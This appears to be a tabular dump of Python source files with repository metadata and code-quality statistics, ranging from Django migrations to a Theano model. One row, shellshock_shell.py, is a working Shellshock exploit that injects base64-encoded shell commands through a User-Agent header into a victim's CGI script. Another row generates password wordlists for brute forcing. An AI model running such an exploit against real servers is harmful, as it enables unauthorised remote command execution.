hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0583e01a45ab7593bd743a7bce8642ddf0e7d17d | 1,102 | py | Python | quarry-src/old-quarry/invarparse.py | emmableu/texada | b299e842b1334b4fe8b5d02f41fb5e3087bd96a3 | [
"BSD-3-Clause"
] | 13 | 2020-05-26T06:51:49.000Z | 2022-03-21T02:55:46.000Z | quarry-src/old-quarry/invarparse.py | emmableu/texada | b299e842b1334b4fe8b5d02f41fb5e3087bd96a3 | [
"BSD-3-Clause"
] | 3 | 2021-06-02T18:47:00.000Z | 2022-03-09T16:29:53.000Z | quarry-src/old-quarry/invarparse.py | emmableu/texada | b299e842b1334b4fe8b5d02f41fb5e3087bd96a3 | [
"BSD-3-Clause"
] | 6 | 2020-11-02T07:21:54.000Z | 2022-03-16T11:17:06.000Z | import sys
class InvariantParser:
'''
The InvariantParser is used to parse a Daikon-generated invariants file into a
dictionary mapping program points (ppts) to their invariants.
'''
# Path of the invariants file to be parsed.
filepath = ""
# String used to match entry separating lines in the ... | 31.485714 | 104 | 0.591652 | 127 | 1,102 | 5.047244 | 0.488189 | 0.087363 | 0.056162 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002454 | 0.260436 | 1,102 | 35 | 105 | 31.485714 | 0.784049 | 0.431034 | 0 | 0 | 1 | 0 | 0.1375 | 0.133929 | 0 | 0 | 0 | 0 | 0 | 1 | 0.133333 | false | 0 | 0.066667 | 0 | 0.466667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
058e626901851e0c565782bef1b05261291e614f | 2,929 | py | Python | pyserv/login.py | REALSYCRO/PyServ | 77e62868758003670f47129b3eae8cb998b92a18 | [
"MIT"
] | 3 | 2021-08-21T19:00:18.000Z | 2022-03-20T13:57:13.000Z | pyserv/login.py | REALSYCRO/PyServ | 77e62868758003670f47129b3eae8cb998b92a18 | [
"MIT"
] | 1 | 2021-08-22T18:25:36.000Z | 2021-08-22T19:41:57.000Z | pyserv/login.py | REALSYCRO/PyServ | 77e62868758003670f47129b3eae8cb998b92a18 | [
"MIT"
] | 1 | 2021-08-22T13:32:48.000Z | 2021-08-22T13:32:48.000Z | """MIT License
Copyright (c) 2021 veil-ctf
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distr... | 40.123288 | 257 | 0.617958 | 384 | 2,929 | 4.692708 | 0.46875 | 0.048835 | 0.028857 | 0.012209 | 0.052164 | 0.026637 | 0.026637 | 0 | 0 | 0 | 0 | 0.016722 | 0.285422 | 2,929 | 73 | 258 | 40.123288 | 0.844243 | 0.478662 | 0 | 0.222222 | 0 | 0.055556 | 0.270572 | 0.053696 | 0 | 0 | 0 | 0 | 0 | 1 | 0.055556 | false | 0.083333 | 0.055556 | 0 | 0.138889 | 0.055556 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
0592abebb1be605823ea1f2f4185579acc83abf4 | 1,152 | py | Python | 11_20/day-18/hirst-painting.py | srakhe/100-days-py | 4d99ab35eb1376d2f8722c42e0bf98acc18fba20 | [
"MIT"
] | null | null | null | 11_20/day-18/hirst-painting.py | srakhe/100-days-py | 4d99ab35eb1376d2f8722c42e0bf98acc18fba20 | [
"MIT"
] | null | null | null | 11_20/day-18/hirst-painting.py | srakhe/100-days-py | 4d99ab35eb1376d2f8722c42e0bf98acc18fba20 | [
"MIT"
] | null | null | null | from turtle import Turtle, Screen
import colorgram
import random
color_list = []
def get_colors():
colors = colorgram.extract('image.jpg', 30)
for color in colors:
colour_tuple = (color.rgb.r, color.rgb.g, color.rgb.b)
color_list.append(colour_tuple)
def paint(my_turtle):
... | 24.510638 | 63 | 0.600694 | 150 | 1,152 | 4.4 | 0.36 | 0.278788 | 0.078788 | 0.090909 | 0.278788 | 0.215152 | 0 | 0 | 0 | 0 | 0 | 0.029091 | 0.283854 | 1,152 | 46 | 64 | 25.043478 | 0.770909 | 0 | 0 | 0.216216 | 0 | 0 | 0.018083 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.054054 | false | 0 | 0.081081 | 0 | 0.135135 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
55254689e34745eb30308e1e2aa26721edfd604e | 8,833 | py | Python | src/complete/inotify_rekog_web.py | odobenuskr/2019_capstone_FlexAds | e37708484d983326806c0d6a0c5ae7157ea57e59 | [
"MIT"
] | 12 | 2019-03-08T15:49:24.000Z | 2020-08-03T05:01:44.000Z | src/complete/inotify_rekog_web.py | kookmin-sw/2019-cap1-2019_4 | e64aa4590ac58dca535024118ed4d4bd0b3eb699 | [
"MIT"
] | 63 | 2019-03-08T15:23:19.000Z | 2019-06-01T07:10:23.000Z | src/complete/inotify_rekog_web.py | odobenuskr/2019_capstone_FlexAds | e37708484d983326806c0d6a0c5ae7157ea57e59 | [
"MIT"
] | 11 | 2019-03-10T02:12:24.000Z | 2021-04-02T07:16:01.000Z | # -*- coding: utf-8 -*-
## Kookmin University
## School of Computer Science
## Capstone #4 Flex Ads
## 20132651 Lee Sungjae
# inotify_rekog_web.py 는 Flex Ads 시스템의 핵심 코드로
# inotify 와 AWS S3, Rekognition, API Gateway 호출, 그리고 웹 송출을 연동합니다.
# threading 을 활용하여 inotify 와 그 외의 기능을 thread 단에서 구분하였습니다.
# local file system 에 fa... | 41.275701 | 200 | 0.643156 | 1,278 | 8,833 | 4.293427 | 0.352113 | 0.014033 | 0.019683 | 0.02187 | 0.095681 | 0.064698 | 0.064698 | 0.047749 | 0.047749 | 0.047749 | 0 | 0.013621 | 0.260274 | 8,833 | 213 | 201 | 41.469484 | 0.82614 | 0.371561 | 0 | 0.119266 | 0 | 0.009174 | 0.161762 | 0.058673 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.082569 | null | null | 0.12844 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
552d988d583577a186fd0295f04966ce5606ca7f | 358 | py | Python | backend/main_app/migrations/0005_rename_inn_user_company.py | RTUITLab/Energomach-Hack-2021-RealityGang | 45a8988af26b2c9ad91091e3961e60be888918f6 | [
"Apache-2.0"
] | null | null | null | backend/main_app/migrations/0005_rename_inn_user_company.py | RTUITLab/Energomach-Hack-2021-RealityGang | 45a8988af26b2c9ad91091e3961e60be888918f6 | [
"Apache-2.0"
] | null | null | null | backend/main_app/migrations/0005_rename_inn_user_company.py | RTUITLab/Energomach-Hack-2021-RealityGang | 45a8988af26b2c9ad91091e3961e60be888918f6 | [
"Apache-2.0"
] | null | null | null | # Generated by Django 3.2 on 2021-05-22 10:50
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('main_app', '0004_auto_20210522_1349'),
]
operations = [
migrations.RenameField(
model_name='user',
old_name='inn',
... | 18.842105 | 48 | 0.581006 | 39 | 358 | 5.153846 | 0.846154 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.120968 | 0.307263 | 358 | 18 | 49 | 19.888889 | 0.689516 | 0.120112 | 0 | 0 | 1 | 0 | 0.14377 | 0.073482 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
552fc661ee50587b8b1f53a78b242344fc24c1f9 | 593 | py | Python | app/models/users.py | rhwang10/iduna | 1aff72ddcda8cc9ac619516dc09cc88269e9cdcf | [
"MIT"
] | null | null | null | app/models/users.py | rhwang10/iduna | 1aff72ddcda8cc9ac619516dc09cc88269e9cdcf | [
"MIT"
] | null | null | null | app/models/users.py | rhwang10/iduna | 1aff72ddcda8cc9ac619516dc09cc88269e9cdcf | [
"MIT"
] | null | null | null | from sqlalchemy import Column, Integer, String, DateTime
from sqlalchemy.sql import func
from app.db.base_class import Base
class Users(Base):
id = Column(Integer, primary_key=True, index=True)
name = Column(String(256), nullable=False, unique=True)
discord_id = Column(Integer, nullable=True, unique=True)
... | 42.357143 | 82 | 0.740304 | 81 | 593 | 5.308642 | 0.444444 | 0.111628 | 0.139535 | 0.088372 | 0.316279 | 0.316279 | 0.167442 | 0 | 0 | 0 | 0 | 0.023576 | 0.141653 | 593 | 13 | 83 | 45.615385 | 0.821218 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.083333 | 0.25 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
553fb1bb49015754ff0249900fc3b476956fb996 | 67,870 | py | Python | models/Denoising_300W.py | dendisuhubdy/RCN | 94d7322c25c1c02d71aec2a9a2e810170d91c7cd | [
"BSD-3-Clause"
] | 70 | 2016-04-18T21:20:36.000Z | 2021-08-14T09:23:45.000Z | models/Denoising_300W.py | dendisuhubdy/RCN | 94d7322c25c1c02d71aec2a9a2e810170d91c7cd | [
"BSD-3-Clause"
] | 6 | 2016-10-17T16:36:15.000Z | 2020-04-03T21:25:35.000Z | models/Denoising_300W.py | dendisuhubdy/RCN | 94d7322c25c1c02d71aec2a9a2e810170d91c7cd | [
"BSD-3-Clause"
] | 34 | 2016-04-19T08:09:49.000Z | 2020-04-07T12:19:25.000Z | """
This model is the denoising auto-encoder submitted to CVPR,
trained on one-hot true key-point positions, half of which is jittered
in training.
"""
import numpy as np
import theano
import theano.tensor as T
from theano.tensor.nnet import conv
from collections import OrderedDict
import cPickle as pickle
import time
... | 49.00361 | 163 | 0.590276 | 8,896 | 67,870 | 4.213242 | 0.076326 | 0.022411 | 0.014381 | 0.011206 | 0.502601 | 0.43446 | 0.383181 | 0.337931 | 0.305915 | 0.287906 | 0 | 0.017069 | 0.285281 | 67,870 | 1,384 | 164 | 49.039017 | 0.755607 | 0.214572 | 0 | 0.290816 | 0 | 0 | 0.073806 | 0.008091 | 0.001276 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.020408 | null | null | 0.002551 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
5555abc25960d18dac751b681760dff7a0040e61 | 548 | py | Python | tools/shellshock_shell.py | galletitaoreo/PythonPentest | abd46cc251abfc3fba02d7f03ddd049803dc6047 | [
"MIT"
] | 5 | 2019-08-07T08:59:53.000Z | 2021-05-14T19:35:57.000Z | tools/shellshock_shell.py | Harusenpai/PythonPentest | abd46cc251abfc3fba02d7f03ddd049803dc6047 | [
"MIT"
] | null | null | null | tools/shellshock_shell.py | Harusenpai/PythonPentest | abd46cc251abfc3fba02d7f03ddd049803dc6047 | [
"MIT"
] | 2 | 2021-03-31T21:20:19.000Z | 2021-08-28T04:21:12.000Z | #!/usr/bin/python
# python shellshock_shell.py 192.168.56.1
# $ id
# uid=48(apache) gid=48(apache) groups=48(apache)
# $ pwd
# /var/www/cgi-bin
import requests, sys
from base64 import b64encode
victim_ip = sys.argv[1]
while True:
command = b64encode(raw_input('$ ').strip())
headers = {
'User-Agent':... | 27.4 | 157 | 0.638686 | 82 | 548 | 4.219512 | 0.658537 | 0.069364 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.056645 | 0.162409 | 548 | 20 | 158 | 27.4 | 0.697168 | 0.240876 | 0 | 0 | 0 | 0 | 0.321168 | 0.075426 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.222222 | null | null | 0.111111 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
5558906af5c6e8aa02dc12d67deee23d2f22e20d | 643 | py | Python | pal_python/src/pal_python/ros_image_utils.py | hect1995/Robotics_intro | 1b687585c20db5f1114d8ca6811a70313d325dd6 | [
"BSD-3-Clause"
] | 7 | 2018-10-24T14:52:20.000Z | 2021-01-12T14:59:00.000Z | pal_python/src/pal_python/ros_image_utils.py | hect1995/Robotics_intro | 1b687585c20db5f1114d8ca6811a70313d325dd6 | [
"BSD-3-Clause"
] | null | null | null | pal_python/src/pal_python/ros_image_utils.py | hect1995/Robotics_intro | 1b687585c20db5f1114d8ca6811a70313d325dd6 | [
"BSD-3-Clause"
] | 5 | 2018-09-28T06:16:07.000Z | 2019-09-19T11:15:22.000Z | from cv_bridge.core import CvBridge
import cv2
import tempfile
class RosImageTmpFile:
def __init__(self, image_msg, desired_encoding="bgr8"):
self.image_msg = image_msg
self.desired_encoding = desired_encoding
def __enter__(self):
bridge = CvBridge()
cv_img = bridge.imgmsg_to_c... | 32.15 | 93 | 0.713841 | 79 | 643 | 5.379747 | 0.417722 | 0.176471 | 0.084706 | 0.089412 | 0.127059 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007722 | 0.194401 | 643 | 19 | 94 | 33.842105 | 0.812741 | 0 | 0 | 0 | 0 | 0 | 0.012461 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0.066667 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
555fe146f22fb58f78d2664cfc570468dba05ad3 | 4,610 | py | Python | copious.py | aryamsharma/Copious | acb67de36575cde1eba6828cb1c173a8c04fcf82 | [
"MIT"
] | null | null | null | copious.py | aryamsharma/Copious | acb67de36575cde1eba6828cb1c173a8c04fcf82 | [
"MIT"
] | null | null | null | copious.py | aryamsharma/Copious | acb67de36575cde1eba6828cb1c173a8c04fcf82 | [
"MIT"
] | null | null | null | import argparse
import itertools
import string
def flags():
parser = argparse.ArgumentParser()
parser.add_argument("least_chars", help="The minimum amount characters in the password", type=int)
parser.add_argument("most_chars", help="The maximum amount characters in the password", type=int)
parser.add... | 35.19084 | 119 | 0.532104 | 568 | 4,610 | 4.213028 | 0.253521 | 0.03761 | 0.035102 | 0.046803 | 0.452152 | 0.429168 | 0.400334 | 0.400334 | 0.3201 | 0.3201 | 0 | 0.004339 | 0.350108 | 4,610 | 130 | 120 | 35.461538 | 0.794393 | 0.054881 | 0 | 0.530612 | 0 | 0 | 0.157919 | 0 | 0 | 0 | 0 | 0.007692 | 0 | 1 | 0.030612 | false | 0.05102 | 0.030612 | 0 | 0.071429 | 0.030612 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
556193ec7b7fac776bb14354a2f7a71d512a5c10 | 2,406 | py | Python | blog/migrations/0002_auto_20210801_0019.py | MahtabRnj/Django-Blog | 6634fbaccc630865c640404dc77753b7072a8d2f | [
"Apache-2.0"
] | null | null | null | blog/migrations/0002_auto_20210801_0019.py | MahtabRnj/Django-Blog | 6634fbaccc630865c640404dc77753b7072a8d2f | [
"Apache-2.0"
] | 1 | 2021-08-12T13:28:32.000Z | 2021-08-12T13:28:32.000Z | blog/migrations/0002_auto_20210801_0019.py | MahtabRnj/Django-Blog | 6634fbaccc630865c640404dc77753b7072a8d2f | [
"Apache-2.0"
] | 1 | 2021-08-12T13:13:56.000Z | 2021-08-12T13:13:56.000Z | # Generated by Django 3.2.5 on 2021-07-31 19:49
from django.db import migrations, models
import django.utils.timezone
class Migration(migrations.Migration):
dependencies = [
('blog', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='Category',
... | 37.59375 | 121 | 0.548628 | 225 | 2,406 | 5.728889 | 0.435556 | 0.128006 | 0.116369 | 0.134988 | 0.34135 | 0.34135 | 0.217223 | 0.147401 | 0.080683 | 0.080683 | 0 | 0.019536 | 0.319202 | 2,406 | 63 | 122 | 38.190476 | 0.766789 | 0.018703 | 0 | 0.350877 | 1 | 0 | 0.167247 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.035088 | 0 | 0.087719 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
55642a14d5cf4cd87a5bedecb7efc004b0b52f88 | 1,634 | py | Python | src/Routing/RoutingTable.py | mikesligo/distributed-search | 651f2358af1a05b4ebcd089489c8af8309da685f | [
"MIT"
] | 1 | 2017-05-23T09:39:06.000Z | 2017-05-23T09:39:06.000Z | src/Routing/RoutingTable.py | mikesligo/distributed-search | 651f2358af1a05b4ebcd089489c8af8309da685f | [
"MIT"
] | null | null | null | src/Routing/RoutingTable.py | mikesligo/distributed-search | 651f2358af1a05b4ebcd089489c8af8309da685f | [
"MIT"
] | null | null | null | import math
import json
class RoutingTable(object):
def __init__(self, node_id, node_ip):
self.__table = {}
self.node_id = int(node_id)
self.node_ip = node_ip
print "ID: " + str(node_id)
print "IP: " + str(node_ip)
def add_routing_info(self, id, ip):
if id in s... | 28.172414 | 131 | 0.588739 | 235 | 1,634 | 3.757447 | 0.217021 | 0.169875 | 0.101925 | 0.047565 | 0.16761 | 0.052095 | 0 | 0 | 0 | 0 | 0 | 0.001773 | 0.30967 | 1,634 | 57 | 132 | 28.666667 | 0.781028 | 0.015912 | 0 | 0.090909 | 0 | 0 | 0.026152 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.022727 | 0.045455 | null | null | 0.045455 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
556e07c06c2beac67e104e01159a26f5fdcc47f0 | 2,124 | py | Python | install/TexGen/Python/Scripts/Standalone/Twill.py | dalexa10/puma | ca02309c9f5c71e2e80ad8d64155dd6ca936c667 | [
"NASA-1.3"
] | 14 | 2021-06-17T17:17:07.000Z | 2022-03-26T05:20:20.000Z | install/TexGen/Python/Scripts/Standalone/Twill.py | dalexa10/puma | ca02309c9f5c71e2e80ad8d64155dd6ca936c667 | [
"NASA-1.3"
] | 6 | 2021-11-01T20:37:39.000Z | 2022-03-11T17:18:53.000Z | install/TexGen/Python/Scripts/Standalone/Twill.py | dalexa10/puma | ca02309c9f5c71e2e80ad8d64155dd6ca936c667 | [
"NASA-1.3"
] | 8 | 2021-07-20T09:24:23.000Z | 2022-02-26T16:32:00.000Z | #! /usr/bin/env python
from TexGen.Core import *
from random import *
# Create a textile
Textile = CTextileWeave2D(4, 4, 3, 0.75);
Textile.SwapPosition(0, 0);
Textile.SwapPosition(1, 0);
Textile.SwapPosition(1, 1);
Textile.SwapPosition(2, 1);
Textile.SwapPosition(2, 2);
Textile.SwapPosition(3, 2);
Textile.SwapPositi... | 27.947368 | 99 | 0.687382 | 269 | 2,124 | 5.427509 | 0.364312 | 0.10411 | 0.027397 | 0.028767 | 0.105479 | 0.105479 | 0.105479 | 0.105479 | 0.105479 | 0.105479 | 0 | 0.023949 | 0.193974 | 2,124 | 75 | 100 | 28.32 | 0.828855 | 0.158663 | 0 | 0.095238 | 0 | 0 | 0.037415 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.047619 | null | null | 0.261905 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
557a8e0851b5be90e9a1fd3e1b05d0dea25b668f | 3,899 | py | Python | mysql-creat table&load csv.py | feilongwang92/mining-app-data | fedb30b2ab91a6b294006afeb188dc99255deca4 | [
"MIT"
] | null | null | null | mysql-creat table&load csv.py | feilongwang92/mining-app-data | fedb30b2ab91a6b294006afeb188dc99255deca4 | [
"MIT"
] | null | null | null | mysql-creat table&load csv.py | feilongwang92/mining-app-data | fedb30b2ab91a6b294006afeb188dc99255deca4 | [
"MIT"
] | 1 | 2019-09-11T17:24:09.000Z | 2019-09-11T17:24:09.000Z |
# currScenRecQuery = """
# SELECT * from 'pla_scenario_values_new2' where rid='{rId}' and qno='{qNo}'
# """.format(rId=1, qNo=2)
# currScenRec = db.fetch_results(currScenRecQuery, single_row=True)
#
# updateBetaAttrQuery = """
# UPDATE 'pla_scenario... | 43.322222 | 134 | 0.644011 | 460 | 3,899 | 5.367391 | 0.393478 | 0.022681 | 0.027542 | 0.034022 | 0.166464 | 0.115026 | 0.094775 | 0.094775 | 0.094775 | 0 | 0 | 0.05241 | 0.207233 | 3,899 | 89 | 135 | 43.808989 | 0.74636 | 0.375224 | 0 | 0.26 | 0 | 0.02 | 0.452055 | 0.054338 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.06 | 0.08 | 0 | 0.08 | 0.04 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
5580d1e85f9ed2e5274fbc4b4c029a404f30edaa | 1,841 | py | Python | test-app/behave/steps/autocomplete.py | raymond91125/amigo | a735284a3452367bb85f32f73e938a569bd1640b | [
"BSD-3-Clause"
] | null | null | null | test-app/behave/steps/autocomplete.py | raymond91125/amigo | a735284a3452367bb85f32f73e938a569bd1640b | [
"BSD-3-Clause"
] | null | null | null | test-app/behave/steps/autocomplete.py | raymond91125/amigo | a735284a3452367bb85f32f73e938a569bd1640b | [
"BSD-3-Clause"
] | null | null | null | ####
#### Steps centered around dealing with the various
#### autocomplete/search boxes.
####
from behave import *
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
